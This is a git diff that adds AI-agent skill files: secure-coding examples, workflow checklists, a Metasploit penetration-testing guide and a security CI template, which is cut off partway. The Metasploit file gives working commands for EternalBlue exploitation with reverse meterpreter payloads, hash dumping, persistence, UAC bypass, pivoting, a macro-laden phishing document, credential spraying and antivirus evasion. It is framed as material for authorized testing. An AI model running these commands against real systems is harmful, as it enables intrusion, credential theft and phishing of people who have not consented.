2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/offsec/network-netcat/references/WORKFLOW_CHECKLIST.md b/skills/offsec/network-netcat/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/offsec/network-netcat/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/offsec/pentest-metasploit/SKILL.md b/skills/offsec/pentest-metasploit/SKILL.md new file mode 100644 index 0000000..83fd9f1 --- /dev/null +++ b/skills/offsec/pentest-metasploit/SKILL.md @@ -0,0 +1,455 @@ +--- +name: pentest-metasploit +description: > + Penetration testing framework for exploit development, vulnerability validation, and authorized + security assessments using Metasploit Framework. Use when: (1) Validating vulnerabilities in + authorized security assessments, (2) Demonstrating exploit impact for security research, + (3) Testing defensive controls in controlled environments, (4) Conducting authorized penetration + tests with proper scoping and authorization, (5) Developing post-exploitation workflows for + red team operations. +version: 0.1.0 +maintainer: sirappsec@gmail.com +category: offsec +tags: [pentest, metasploit, exploitation, post-exploitation, vulnerability-validation, red-team] +frameworks: [MITRE-ATT&CK, OWASP, PTES] +dependencies: + packages: [metasploit-framework] + tools: [postgresql, nmap] +references: + - https://docs.metasploit.com/ + - https://www.offsec.com/metasploit-unleashed/ + - https://attack.mitre.org/ +--- + +# Metasploit Framework Penetration Testing + +## Overview + +Metasploit Framework is the industry-standard platform for penetration testing, vulnerability validation, and exploit development. This skill provides structured workflows for authorized offensive security operations including exploitation, post-exploitation, and payload delivery. + +**IMPORTANT**: This skill is for AUTHORIZED security testing only. Always ensure proper authorization, scoping documents, and legal compliance before conducting penetration testing activities. + +## Quick Start + +Initialize Metasploit console and verify database connectivity: + +```bash +# Start PostgreSQL database (required for workspace management) +sudo systemctl start postgresql + +# Initialize Metasploit database +msfdb init + +# Launch Metasploit console +msfconsole + +# Verify database connection +msf6 > db_status +``` + +## Core Workflow + +### Penetration Testing Workflow + +Progress: +[ ] 1. Verify authorization and scope +[ ] 2. Configure workspace and target enumeration +[ ] 3. Identify and select appropriate exploits +[ ] 4. Configure payload and exploit options +[ ] 5. Execute exploitation with proper documentation +[ ] 6. Conduct post-exploitation activities (if authorized) +[ ] 7. Document findings with impact assessment +[ ] 8. Clean up artifacts and sessions + +Work through each step systematically. Check off completed items. + +### 1. Authorization Verification + +**CRITICAL**: Before any testing activities: +- Confirm written authorization from asset owner +- Review scope document for in-scope targets +- Verify IP ranges and systems authorized for testing +- Confirm allowed testing windows and blackout periods +- Document point of contact for emergency escalation + +### 2. Workspace Setup + +Create isolated workspace for engagement: + +```bash +msf6 > workspace -a +msf6 > workspace +msf6 > db_nmap -sV -sC -O +``` + +Import existing reconnaissance data: + +```bash +msf6 > db_import /path/to/nmap-scan.xml +msf6 > hosts +msf6 > services +``` + +### 3. Exploit Selection + +Search for relevant exploits based on enumerated services: + +```bash +msf6 > search type:exploit platform:windows +msf6 > search cve: +msf6 > search eternalblue +``` + +Evaluate exploit suitability: +- **Reliability Ranking**: Excellent > Great > Good > Normal > Average +- **Stability**: Check crash potential +- **Target Compatibility**: Verify OS version and architecture +- **Required Credentials**: Determine if authentication needed + +### 4. Exploit Configuration + +Configure selected exploit module: + +```bash +msf6 > use exploit/windows/smb/ms17_010_eternalblue +msf6 exploit(windows/smb/ms17_010_eternalblue) > show options +msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS +msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORT 445 + +# Configure payload +msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https +msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST +msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443 + +# Validate configuration +msf6 exploit(windows/smb/ms17_010_eternalblue) > show options +msf6 exploit(windows/smb/ms17_010_eternalblue) > check +``` + +### 5. Exploitation Execution + +Execute exploit with logging: + +```bash +# Enable logging +msf6 exploit(windows/smb/ms17_010_eternalblue) > spool /path/to/logs/engagement-.log + +# Run exploit +msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit + +# Or run without auto-interaction +msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j +``` + +**Exploitation outcomes**: +- **Session opened**: Successful exploitation, proceed to post-exploitation +- **Exploit failed**: Review target compatibility, try alternative exploits +- **Target not vulnerable**: Document finding, move to next target +- **Service crash**: Document stability issue, attempt service restoration if authorized + +### 6. Post-Exploitation (Authorized Activities Only) + +Once session established, conduct authorized post-exploitation: + +```bash +# List active sessions +msf6 > sessions -l + +# Interact with session +msf6 > sessions -i + +# Gather system information +meterpreter > sysinfo +meterpreter > getuid +meterpreter > getprivs + +# Check network configuration +meterpreter > ipconfig +meterpreter > route + +# Enumerate running processes +meterpreter > ps + +# Check security controls +meterpreter > run post/windows/gather/enum_av_excluded +meterpreter > run post/windows/gather/enum_logged_on_users +``` + +**Common post-exploitation modules**: +- `post/windows/gather/hashdump` - Extract password hashes (requires SYSTEM privileges) +- `post/multi/recon/local_exploit_suggester` - Identify privilege escalation opportunities +- `post/windows/gather/credentials/credential_collector` - Gather stored credentials +- `post/windows/manage/persistence_exe` - Establish persistence (if explicitly authorized) + +### 7. Privilege Escalation + +If authorized for privilege escalation: + +```bash +# Identify escalation vectors +meterpreter > run post/multi/recon/local_exploit_suggester + +# Migrate to stable process +meterpreter > ps +meterpreter > migrate + +# Attempt privilege escalation +meterpreter > getsystem +meterpreter > getuid +``` + +Manual privilege escalation workflow: +1. Background current session: `background` +2. Select escalation module: `use exploit/windows/local/` +3. Set session: `set SESSION ` +4. Run exploit: `exploit` + +### 8. Lateral Movement + +For authorized internal penetration tests: + +```bash +# Enumerate network +meterpreter > run post/windows/gather/arp_scanner RHOSTS= +meterpreter > run auxiliary/scanner/smb/smb_version + +# Pivot through compromised host +meterpreter > run autoroute -s /24 + +# Use compromised host as proxy +msf6 > use auxiliary/server/socks_proxy +msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080 +msf6 auxiliary(server/socks_proxy) > run -j +``` + +Configure proxychains for pivoting: + +```bash +# Edit /etc/proxychains4.conf +socks4 127.0.0.1 1080 + +# Run tools through pivot +proxychains nmap -sT -Pn +``` + +## Security Considerations + +### Authorization & Legal Compliance + +- **Written Authorization**: Maintain signed penetration testing agreement +- **Scope Adherence**: Only test explicitly authorized systems and networks +- **Data Protection**: Handle discovered data per engagement rules of engagement +- **Incident Response**: Immediately report critical findings per escalation procedures +- **Evidence Handling**: Maintain chain of custody for forensic evidence + +### Operational Security + +- **Callback Infrastructure**: Use dedicated, authorized callback servers +- **Attribution Prevention**: Avoid personal infrastructure or identifiable indicators +- **Traffic Encryption**: Use encrypted payloads (HTTPS, DNS tunneling) +- **Artifact Cleanup**: Remove exploitation artifacts post-engagement +- **Session Management**: Close sessions cleanly to avoid detection alerts + +### Audit Logging + +Log all penetration testing activities: +- Timestamp of exploitation attempts +- Source and destination systems +- Exploit modules and payloads used +- Commands executed in sessions +- Data accessed or exfiltrated +- Privilege escalation attempts +- Lateral movement actions + +### Compliance + +- **PTES**: Penetration Testing Execution Standard compliance +- **OWASP**: Alignment with application security testing methodology +- **MITRE ATT&CK**: Map TTPs to ATT&CK framework for threat modeling +- **PCI-DSS 11.3**: Penetration testing for payment card environments +- **SOC2**: Security testing for service organization controls + +## Common Patterns + +### Pattern 1: Web Application Exploitation + +```bash +msf6 > use exploit/multi/http/apache_struts2_content_type_ognl +msf6 exploit(...) > set RHOSTS +msf6 exploit(...) > set TARGETURI /vulnerable-app +msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +msf6 exploit(...) > exploit +``` + +### Pattern 2: Database Server Exploitation + +```bash +# SQL Server exploitation +msf6 > use exploit/windows/mssql/mssql_payload +msf6 exploit(mssql_payload) > set RHOSTS +msf6 exploit(mssql_payload) > set USERNAME sa +msf6 exploit(mssql_payload) > set PASSWORD +msf6 exploit(mssql_payload) > exploit +``` + +### Pattern 3: Phishing Campaign Delivery + +```bash +# Generate malicious document +msf6 > use exploit/windows/fileformat/office_word_macro +msf6 exploit(office_word_macro) > set FILENAME report.docm +msf6 exploit(office_word_macro) > set PAYLOAD windows/meterpreter/reverse_https +msf6 exploit(office_word_macro) > set LHOST +msf6 exploit(office_word_macro) > exploit + +# Set up listener +msf6 > use exploit/multi/handler +msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https +msf6 exploit(multi/handler) > set LHOST +msf6 exploit(multi/handler) > set LPORT 443 +msf6 exploit(multi/handler) > exploit -j +``` + +### Pattern 4: Credential Spraying + +```bash +msf6 > use auxiliary/scanner/smb/smb_login +msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS file:/path/to/targets.txt +msf6 auxiliary(scanner/smb/smb_login) > set SMBUser Administrator +msf6 auxiliary(scanner/smb/smb_login) > set SMBPass +msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true +msf6 auxiliary(scanner/smb/smb_login) > run +``` + +## Integration Points + +### CI/CD Integration + +Automated vulnerability validation in security pipelines: + +```bash +# Headless Metasploit resource script +cat > exploit_validation.rc < use evasion/windows/windows_defender_exe +msf6 evasion(...) > set PAYLOAD windows/meterpreter/reverse_https +msf6 evasion(...) > generate -f /path/to/evaded_payload.exe + +# Use staged payload instead of stageless +set PAYLOAD windows/meterpreter/reverse_https # staged +# vs +set PAYLOAD windows/meterpreter_reverse_https # stageless + +# Migrate immediately after session establishment +meterpreter > run post/windows/manage/migrate +``` + +### Issue: Exploit Fails with "Exploit completed, but no session was created" + +**Causes**: +- Target not vulnerable +- Incorrect target version or architecture +- Payload compatibility issue + +**Solutions**: +```bash +# Verify target vulnerability +msf6 exploit(...) > check + +# Adjust target manually +msf6 exploit(...) > show targets +msf6 exploit(...) > set TARGET + +# Try alternative payload +msf6 exploit(...) > show payloads +msf6 exploit(...) > set PAYLOAD +``` + +### Issue: Cannot Escalate Privileges + +**Solutions**: +```bash +# Enumerate escalation opportunities +meterpreter > run post/multi/recon/local_exploit_suggester + +# Try alternative techniques +meterpreter > getsystem -t 1 # Named Pipe Impersonation +meterpreter > getsystem -t 2 # Named Pipe Impersonation (Admin Drop) +meterpreter > getsystem -t 3 # Token Duplication + +# Use UAC bypass if applicable +meterpreter > background +msf6 > use exploit/windows/local/bypassuac_injection +msf6 exploit(bypassuac_injection) > set SESSION +msf6 exploit(bypassuac_injection) > exploit +``` + +## Defensive Considerations + +Organizations can detect Metasploit activity by: + +- **Network IDS**: Signature-based detection of default Metasploit payloads +- **Endpoint Detection**: Behavioral analysis of meterpreter process injection +- **Traffic Analysis**: Unusual outbound HTTPS connections to non-standard ports +- **Memory Forensics**: Detection of reflective DLL injection techniques +- **Log Analysis**: Unusual authentication patterns or process execution + +Enhance defensive posture: +- Deploy endpoint detection and response (EDR) solutions +- Enable PowerShell script block logging +- Monitor for unusual parent-child process relationships +- Implement application whitelisting +- Detect lateral movement with network segmentation and monitoring + +## References + +- [Metasploit Documentation](https://docs.metasploit.com/) +- [Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/) +- [MITRE ATT&CK Framework](https://attack.mitre.org/) +- [Penetration Testing Execution Standard (PTES)](http://www.pentest-standard.org/) +- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) diff --git a/skills/offsec/pentest-metasploit/assets/.gitkeep b/skills/offsec/pentest-metasploit/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/offsec/pentest-metasploit/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/offsec/pentest-metasploit/assets/ci-config-template.yml b/skills/offsec/pentest-metasploit/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/offsec/pentest-metasploit/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed 